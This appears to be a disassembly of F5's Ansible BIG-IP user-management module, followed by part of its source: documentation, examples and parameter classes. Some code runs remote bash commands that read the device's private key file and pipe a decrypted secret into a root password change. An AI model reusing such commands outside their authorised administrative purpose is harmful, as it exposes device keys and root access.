ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 140 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 404, 409, 403) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 192 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST True RETURN_VALUE LOAD_DEREF self LOAD_METHOD list_users_on_device CALL_METHOD STORE_FAST response LOAD_CLOSURE self BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8e4475c5d0, file "f.py", line 728> LOAD_CONST 'PartitionedManager.read_current_from_device.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST response LOAD_CONST 'items' BINARY_SUBSCR GET_ITER CALL_FUNCTION STORE_FAST collection LOAD_GLOBAL len LOAD_FAST collection CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST collection LOAD_METHOD pop CALL_METHOD STORE_FAST user LOAD_GLOBAL ApiParameters LOAD_FAST user LOAD_CONST ('params',) CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL len LOAD_FAST collection CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_CONST 'No accounts with the provided name were found.' CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 90 LOAD_GLOBAL F5ModuleError LOAD_CONST 'Multiple users with the provided name were found!' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 30 STORE_FAST x LOAD_FAST x LOAD_CONST 'name' BINARY_SUBSCR LOAD_DEREF self LOAD_ATTR want LOAD_ATTR username_credential COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST x LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR changes LOAD_METHOD api_params CALL_METHOD STORE_FAST params LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR patch LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 76 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 122 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 108 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 122 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 404, 409, 403) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'updated successfully' LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 186 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/{2}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR want LOAD_ATTR username_credential CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_METHOD delete LOAD_FAST uri CALL_METHOD STORE_FAST response LOAD_FAST response LOAD_ATTR status LOAD_CONST 200 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True RETURN_VALUE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/tm/auth/user/' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_CONST "?$filter=partition+eq+'{0}'" LOAD_METHOD format LOAD_FAST self LOAD_ATTR want LOAD_ATTR partition CALL_METHOD STORE_FAST query LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_METHOD get LOAD_FAST uri LOAD_FAST query BINARY_ADD CALL_METHOD STORE_FAST resp SETUP_EXCEPT to 74 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 120 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 106 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 120 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST 400 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 172 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_FAST response RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'RootUserManager' STORE_NAME __qualname__ LOAD_CONST <code object exec_module at 0x7f8e4475cb70, file "f.py", line 790> LOAD_CONST 'RootUserManager.exec_module' MAKE_FUNCTION STORE_NAME exec_module LOAD_CONST <code object exists at 0x7f8e4475ced0, file "f.py", line 816> LOAD_CONST 'RootUserManager.exists' MAKE_FUNCTION STORE_NAME exists LOAD_CONST <code object update at 0x7f8ab71fe030, file "f.py", line 819> LOAD_CONST 'RootUserManager.update' MAKE_FUNCTION STORE_NAME update LOAD_CONST <code object encrypt_password_change_file at 0x7f8ab71fe0c0, file "f.py", line 830> LOAD_CONST 'RootUserManager.encrypt_password_change_file' MAKE_FUNCTION STORE_NAME encrypt_password_change_file LOAD_CONST <code object extract_key at 0x7f8ab71fe150, file "f.py", line 842> LOAD_CONST 'RootUserManager.extract_key' MAKE_FUNCTION STORE_NAME extract_key LOAD_CONST <code object update_on_device at 0x7f8ab71fe270, file "f.py", line 862> LOAD_CONST 'RootUserManager.update_on_device' MAKE_FUNCTION STORE_NAME update_on_device LOAD_CONST <code object upload_to_device at 0x7f8ab71fe300, file "f.py", line 899> LOAD_CONST 'RootUserManager.upload_to_device' MAKE_FUNCTION STORE_NAME upload_to_device LOAD_CONST <code object remove_uploaded_file_from_device at 0x7f8ab71fe420, file "f.py", line 918> LOAD_CONST 'RootUserManager.remove_uploaded_file_from_device' MAKE_FUNCTION STORE_NAME remove_uploaded_file_from_device LOAD_CONST <code object get_public_key_from_device at 0x7f8ab71fe5d0, file "f.py", line 935> LOAD_CONST 'RootUserManager.get_public_key_from_device' MAKE_FUNCTION STORE_NAME get_public_key_from_device LOAD_CONST None RETURN_VALUE LOAD_GLOBAL HAS_CRYPTO POP_JUMP_IF_TRUE LOAD_GLOBAL F5ModuleError LOAD_CONST "An installed and up-to-date python 'cryptography' package is required to change the 'root' password." CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL datetime LOAD_METHOD now CALL_METHOD LOAD_METHOD isoformat CALL_METHOD STORE_FAST start LOAD_GLOBAL tmos_version LOAD_FAST self LOAD_ATTR client CALL_FUNCTION STORE_FAST version LOAD_CONST False STORE_FAST changed LOAD_GLOBAL dict CALL_FUNCTION STORE_FAST result LOAD_FAST self LOAD_ATTR want LOAD_ATTR state STORE_FAST state LOAD_FAST state LOAD_CONST 'present' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD present CALL_METHOD STORE_FAST changed JUMP_FORWARD to 86 LOAD_FAST state LOAD_CONST 'absent' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_CONST 'You may not remove the root user.' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL ReportableChanges LOAD_FAST self LOAD_ATTR changes LOAD_METHOD to_return CALL_METHOD LOAD_CONST ('params',) CALL_FUNCTION STORE_FAST reportable LOAD_FAST reportable LOAD_METHOD to_return CALL_METHOD STORE_FAST changes LOAD_FAST result LOAD_ATTR update BUILD_TUPLE LOAD_FAST changes CALL_FUNCTION POP_TOP LOAD_FAST result LOAD_METHOD update LOAD_GLOBAL dict LOAD_FAST changed LOAD_CONST ('changed',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD _announce_deprecations LOAD_FAST result CALL_METHOD POP_TOP LOAD_GLOBAL send_teem LOAD_FAST start LOAD_FAST self LOAD_ATTR client LOAD_FAST self LOAD_ATTR module LOAD_FAST version CALL_FUNCTION POP_TOP LOAD_FAST result RETURN_VALUE LOAD_CONST True RETURN_VALUE LOAD_FAST self LOAD_METHOD get_public_key_from_device CALL_METHOD STORE_FAST public_key LOAD_FAST self LOAD_METHOD extract_key LOAD_FAST public_key CALL_METHOD STORE_FAST public_key LOAD_FAST self LOAD_METHOD encrypt_password_change_file LOAD_FAST public_key LOAD_FAST self LOAD_ATTR want LOAD_ATTR password_credential CALL_METHOD STORE_FAST encrypted LOAD_FAST self LOAD_METHOD upload_to_device LOAD_FAST encrypted LOAD_FAST self LOAD_ATTR want LOAD_ATTR temp_upload_file CALL_METHOD POP_TOP LOAD_FAST self LOAD_METHOD update_on_device CALL_METHOD STORE_FAST result LOAD_FAST self LOAD_METHOD remove_uploaded_file_from_device LOAD_FAST self LOAD_ATTR want LOAD_ATTR temp_upload_file CALL_METHOD POP_TOP LOAD_FAST result RETURN_VALUE LOAD_GLOBAL serialization LOAD_ATTR load_pem_public_key LOAD_GLOBAL to_bytes LOAD_FAST public_key CALL_FUNCTION LOAD_GLOBAL default_backend CALL_FUNCTION LOAD_CONST ('backend',) CALL_FUNCTION STORE_FAST pub LOAD_GLOBAL to_bytes LOAD_CONST '{0}\n{0}\n' LOAD_METHOD format LOAD_FAST password CALL_METHOD CALL_FUNCTION STORE_FAST message LOAD_FAST pub LOAD_METHOD encrypt LOAD_FAST message LOAD_GLOBAL padding LOAD_METHOD PKCS1v15 CALL_METHOD CALL_METHOD STORE_FAST ciphertext LOAD_GLOBAL BytesIO LOAD_FAST ciphertext CALL_FUNCTION RETURN_VALUE LOAD_FAST content LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD STORE_FAST lines LOAD_FAST lines LOAD_METHOD index LOAD_CONST '-----BEGIN PUBLIC KEY-----' CALL_METHOD STORE_FAST start LOAD_FAST lines LOAD_METHOD index LOAD_CONST '-----END PUBLIC KEY-----' CALL_METHOD STORE_FAST end LOAD_CONST '\n' LOAD_METHOD join LOAD_FAST lines LOAD_FAST start LOAD_FAST end LOAD_CONST 1 BINARY_ADD BUILD_SLICE BINARY_SUBSCR CALL_METHOD STORE_FAST result LOAD_FAST result RETURN_VALUE LOAD_CONST 'Bad password' LOAD_CONST 'password change canceled' LOAD_CONST 'based on a dictionary word' BUILD_LIST STORE_FAST errors LOAD_CONST 'openssl' LOAD_CONST 'pkeyutl' LOAD_CONST '-in' LOAD_CONST '/var/config/rest/downloads/{0}' LOAD_METHOD format LOAD_FAST self LOAD_ATTR want LOAD_ATTR temp_upload_file CALL_METHOD LOAD_CONST '-decrypt' LOAD_CONST '-inkey' LOAD_CONST '/config/ssl/ssl.key/default.key' BUILD_LIST STORE_FAST openssl LOAD_CONST '-c "{0} | tmsh modify auth password root"' LOAD_METHOD format LOAD_CONST ' ' LOAD_METHOD join LOAD_FAST openssl CALL_METHOD CALL_METHOD STORE_FAST cmd LOAD_GLOBAL dict LOAD_CONST 'run' LOAD_FAST cmd LOAD_CONST ('command', 'utilCmdArgs') CALL_FUNCTION STORE_FAST params LOAD_CONST 'https://{0}:{1}/mgmt/tm/util/bash' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR post LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 168 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_DEREF response LOAD_CONST 'commandResult' LOAD_DEREF response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL any LOAD_CLOSURE response BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8ab71fe1e0, file "f.py", line 888> LOAD_CONST 'RootUserManager.update_on_device.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST errors GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_DEREF response LOAD_CONST 'commandResult' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS POP_BLOCK JUMP_FORWARD to 214 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 200 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 214 END_FINALLY LOAD_CONST 'code' LOAD_DEREF response COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_DEREF response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 403) COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_DEREF response COMPARE_OP in EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_DEREF response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 272 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST True RETURN_VALUE LOAD_FAST .0 FOR_ITER to 26 STORE_FAST x LOAD_FAST x LOAD_DEREF response LOAD_CONST 'commandResult' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST x YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://{0}:{1}/mgmt/shared/file-transfer/uploads' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST url SETUP_EXCEPT to 50 LOAD_GLOBAL upload_file LOAD_FAST self LOAD_ATTR client LOAD_FAST url LOAD_FAST content LOAD_FAST name CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 78 DUP_TOP LOAD_GLOBAL F5ModuleError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL F5ModuleError LOAD_CONST 'Failed to upload the file.' CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 78 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST '/var/config/rest/downloads/{0}' LOAD_METHOD format LOAD_FAST name CALL_METHOD STORE_FAST filepath LOAD_CONST 'run' LOAD_FAST filepath LOAD_CONST ('command', 'utilCmdArgs') BUILD_CONST_KEY_MAP STORE_FAST params LOAD_CONST 'https://{0}:{1}/mgmt/tm/util/unix-rm' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR post LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 80 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 126 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 112 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 126 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 403) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 178 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST '-c "openssl rsa -in /config/ssl/ssl.key/default.key -pubout"' STORE_FAST cmd LOAD_GLOBAL dict LOAD_CONST 'run' LOAD_FAST cmd LOAD_CONST ('command', 'utilCmdArgs') CALL_FUNCTION STORE_FAST params LOAD_CONST 'https://{0}:{1}/mgmt/tm/util/bash' LOAD_METHOD format LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server' BINARY_SUBSCR LOAD_FAST self LOAD_ATTR client LOAD_ATTR provider LOAD_CONST 'server_port' BINARY_SUBSCR CALL_METHOD STORE_FAST uri LOAD_FAST self LOAD_ATTR client LOAD_ATTR api LOAD_ATTR post LOAD_FAST uri LOAD_FAST params LOAD_CONST ('json',) CALL_FUNCTION STORE_FAST resp SETUP_EXCEPT to 76 LOAD_FAST resp LOAD_METHOD json CALL_METHOD STORE_FAST response POP_BLOCK JUMP_FORWARD to 122 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 108 LOAD_GLOBAL F5ModuleError LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION CALL_FUNCTION RAISE_VARARGS POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 122 END_FINALLY LOAD_CONST 'code' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'code' BINARY_SUBSCR LOAD_CONST (400, 403) COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'message' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_GLOBAL F5ModuleError LOAD_FAST response LOAD_CONST 'message' BINARY_SUBSCR CALL_FUNCTION RAISE_VARARGS JUMP_FORWARD to 174 LOAD_GLOBAL F5ModuleError LOAD_FAST resp LOAD_ATTR content CALL_FUNCTION RAISE_VARARGS LOAD_CONST 'commandResult' LOAD_FAST response COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST response LOAD_CONST 'commandResult' BINARY_SUBSCR RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ArgumentSpec' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7f8ab71fe6f0, file "f.py", line 958> LOAD_CONST 'ArgumentSpec.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST None RETURN_VALUE LOAD_CONST True LOAD_FAST self STORE_ATTR supports_check_mode LOAD_GLOBAL dict LOAD_GLOBAL dict LOAD_CONST True LOAD_CONST 'name' BUILD_LIST LOAD_CONST ('required', 'aliases') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST True LOAD_CONST ('no_log',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'list' LOAD_CONST 'str' LOAD_CONST ('type', 'elements') CALL_FUNCTION LOAD_GLOBAL dict CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'none' LOAD_CONST 'bash' LOAD_CONST 'tmsh' BUILD_LIST LOAD_CONST ('choices',) CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'always' LOAD_CONST 'always' LOAD_CONST 'on_create' BUILD_LIST LOAD_CONST False LOAD_CONST ('default', 'choices', 'no_log') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'present' LOAD_CONST 'absent' LOAD_CONST 'present' BUILD_LIST LOAD_CONST ('default', 'choices') CALL_FUNCTION LOAD_GLOBAL dict LOAD_CONST 'Common' LOAD_GLOBAL env_fallback LOAD_CONST 'F5_PARTITION' BUILD_LIST BUILD_TUPLE LOAD_CONST ('default', 'fallback') CALL_FUNCTION LOAD_CONST ('username_credential', 'password_credential', 'partition_access', 'full_name', 'shell', 'update_password', 'state', 'partition') CALL_FUNCTION STORE_FAST argument_spec BUILD_MAP LOAD_FAST self STORE_ATTR argument_spec LOAD_FAST self LOAD_ATTR argument_spec LOAD_METHOD update LOAD_GLOBAL f5_argument_spec CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR argument_spec LOAD_METHOD update LOAD_FAST argument_spec CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL ArgumentSpec CALL_FUNCTION STORE_FAST spec LOAD_GLOBAL AnsibleModule LOAD_FAST spec LOAD_ATTR argument_spec LOAD_FAST spec LOAD_ATTR supports_check_mode LOAD_CONST ('argument_spec', 'supports_check_mode') CALL_FUNCTION STORE_FAST module LOAD_GLOBAL HAS_PACKAGING POP_JUMP_IF_TRUE LOAD_FAST module LOAD_ATTR fail_json LOAD_GLOBAL missing_required_lib LOAD_CONST 'packaging' CALL_FUNCTION LOAD_GLOBAL PACKAGING_IMPORT_ERROR LOAD_CONST ('msg', 'exception') CALL_FUNCTION POP_TOP SETUP_EXCEPT to 80 LOAD_GLOBAL ModuleManager LOAD_FAST module LOAD_CONST ('module',) CALL_FUNCTION STORE_FAST mm LOAD_FAST mm LOAD_METHOD exec_module CALL_METHOD STORE_FAST results LOAD_FAST module LOAD_ATTR exit_json BUILD_TUPLE LOAD_FAST results CALL_FUNCTION POP_TOP POP_BLOCK JUMP_FORWARD to 130 DUP_TOP LOAD_GLOBAL F5ModuleError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST ex POP_TOP SETUP_FINALLY to 116 LOAD_FAST module LOAD_ATTR fail_json LOAD_GLOBAL str LOAD_FAST ex CALL_FUNCTION LOAD_CONST ('msg',) CALL_FUNCTION POP_TOP POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST ex DELETE_FAST ex END_FINALLY POP_EXCEPT JUMP_FORWARD to 130 END_FINALLY LOAD_CONST None RETURN_VALUE
from __future__ import absolute_import, division, print_function __metaclass__ = type DOCUMENTATION = r""" --- module: bigip_user short_description: Manage user accounts and user attributes on a BIG-IP description: - Manage user accounts and user attributes on a BIG-IP system. Typically this module operates only on REST API users and not CLI users. When specifying C(root), you may only change the password. Your other parameters are ignored in this case. Changing the C(root) password is not an idempotent operation. Therefore, it changes the password every time this module attempts to change it. version_added: "1.0.0" options: full_name: description: - Full name of the user. type: str username_credential: description: - Name of the user to create, remove, or modify. - The C(root) user may not be removed. type: str required: True aliases: - name password_credential: description: - Set the user's password to this unencrypted value. C(password_credential) is required when creating a new account. type: str shell: description: - Optionally set the users shell. type: str choices: - bash - none - tmsh partition_access: description: - Specifies the administrative partition to which the user has access. C(partition_access) is required when creating a new account, and should be in the form "partition:role". - Valid roles include C(acceleration-policy-editor), C(admin), C(application-editor), C(auditor), C(certificate-manager), C(guest), C(irule-manager), C(manager), C(no-access), C(operator), C(resource-admin), C(user-manager), C(web-application-security-administrator), and C(web-application-security-editor). - The partition portion the of tuple should be an existing partition or the value 'all'. type: list elements: str state: description: - Whether the account should exist or not, taking action if the state is different from what is stated. type: str choices: - present - absent default: present update_password: description: - C(always) allows the user to update passwords. C(on_create) only sets the password for newly created users. - When C(username_credential) is C(root), this value is forced to C(always). type: str choices: - always - on_create default: always partition: description: - Device partition to manage resources on. type: str default: Common notes: - Requires BIG-IP versions >= 12.0.0 extends_documentation_fragment: f5networks.f5_modules.f5 author: - Tim Rupp (@caphrim007) - Wojciech Wypior (@wojtek0806) """ EXAMPLES = r""" - name: Add the user 'johnd' as an admin bigip_user: username_credential: johnd password_credential: password full_name: John Doe partition_access: - all:admin update_password: on_create state: present provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Change the user "johnd's" role and shell bigip_user: username_credential: johnd partition_access: - NewPartition:manager shell: tmsh state: present provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Make the user 'johnd' an admin and set to advanced shell bigip_user: name: johnd partition_access: - all:admin shell: bash state: present provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Remove the user 'johnd' bigip_user: name: johnd state: absent provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Update password bigip_user: state: present username_credential: johnd password_credential: newsupersecretpassword provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Change the Admin password bigip_user: state: present username_credential: admin password_credential: NewSecretPassword provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost - name: Change the root user's password bigip_user: username_credential: root password_credential: secret state: present provider: server: lb.mydomain.com user: admin password: secret delegate_to: localhost """ RETURN = r""" full_name: description: Full name of the user. returned: changed and success type: str sample: John Doe partition_access: description: - List of strings containing the user's roles and to which partitions they are applied. They are specified in the form "partition:role". returned: changed and success type: list sample: ['all:admin'] shell: description: The shell assigned to the user account. returned: changed and success type: str sample: tmsh """ import os import tempfile import traceback from datetime import datetime try: from packaging.version import Version except ImportError: HAS_PACKAGING = False Version = None PACKAGING_IMPORT_ERROR = traceback.format_exc() else: HAS_PACKAGING = True PACKAGING_IMPORT_ERROR = None try: from BytesIO import BytesIO except ImportError: from io import BytesIO from ansible.module_utils.basic import AnsibleModule, env_fallback, missing_required_lib from ansible.module_utils.six import string_types from ansible.module_utils._text import to_bytes from ..module_utils.bigip import F5RestClient from ..module_utils.common import ( F5ModuleError, AnsibleF5Parameters, f5_argument_spec, is_empty_list, ) from ..module_utils.icontrol import tmos_version, upload_file from ..module_utils.teem import send_teem try: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding HAS_CRYPTO = True except ImportError: HAS_CRYPTO = False class Parameters(AnsibleF5Parameters): api_map = { "partitionAccess": "partition_access", "description": "full_name", } updatables = [ "partition_access", "full_name", "shell", "password_credential", ] returnables = [ "shell", "partition_access", "full_name", "username_credential", "password_credential", ] api_attributes = [ "shell", "partitionAccess", "description", "name", "password", ] @property def temp_upload_file(self): if self._values["temp_upload_file"] is None: f = tempfile.NamedTemporaryFile() name = os.path.basename(f.name) self._values["temp_upload_file"] = name return self._values["temp_upload_file"] class ApiParameters(Parameters): @property def partition_access(self): if self._values["partition_access"] is None: return None result = [] part_access = self._values["partition_access"] for access in part_access: if isinstance(access, dict): if "nameReference" in access: del access["nameReference"] result.append(access) else: result.append(access) return result class ModuleParameters(Parameters): @property def partition_access(self): if self._values["partition_access"] is None: return None if is_empty_list(self._values["partition_access"]): return [] result = [] part_access = self._values["partition_access"] for access in part_access: if isinstance(access, string_types): acl = access.split(":") if acl[0].lower() == "all": acl[0] = "all-partitions" value = dict(name=acl[0], role=acl[1]) result.append(value) return result class Changes(Parameters): 